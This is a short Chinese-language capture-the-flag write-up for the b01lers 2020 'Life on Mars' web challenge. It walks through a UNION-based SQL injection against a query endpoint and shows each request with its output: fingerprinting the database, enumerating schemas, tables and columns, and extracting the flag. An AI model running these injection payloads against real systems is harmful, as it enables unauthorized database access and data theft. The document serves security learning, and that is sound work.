[b01lers2020]Life on Mars

思路

页面找不到什么东西，但是f12发现js代码

根据js代码，访问url发现就是页面ajax包的请求

解题

尝试注入，首先根据js代码发现是两位的回显点，测试然后经典流程

/query?search=amazonis_planitia union select 1,2

"1",
"2"

/query?search=amazonis_planitia union select database(), version()

"aliens",
"5.7.29"

/query?search=amazonis_planitia union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

"1",
"amazonis_planitia,arabia_terra,chryse_planitia,hellas_basin,hesperia_planum,noachis_terra,olympus_mons,tharsis_rise,utopia_basin"

# 似乎看不出什么，爆别的库？
/query?search=amazonis_planitia union select 1,group_concat(schema_name) from information_schema.schemata

"1",
"information_schema,alien_code,aliens"

/query?search=amazonis_planitia union select 1,group_concat(table_name) from information_schema.tables where table_schema="alien_code"

"1",
"code"

/query?search=amazonis_planitia union select 1,group_concat(column_name) from information_schema.columns where table_name="code"

"1",
"id,code"

/query?search=amazonis_planitia union select group_concat(id),group_concat(code) from alien_code.code

"0",
"flag{903799b4-0908-4113-8e61-1a3398686f92}"

注意

涉及到查询的操作，想想是不是数据库注入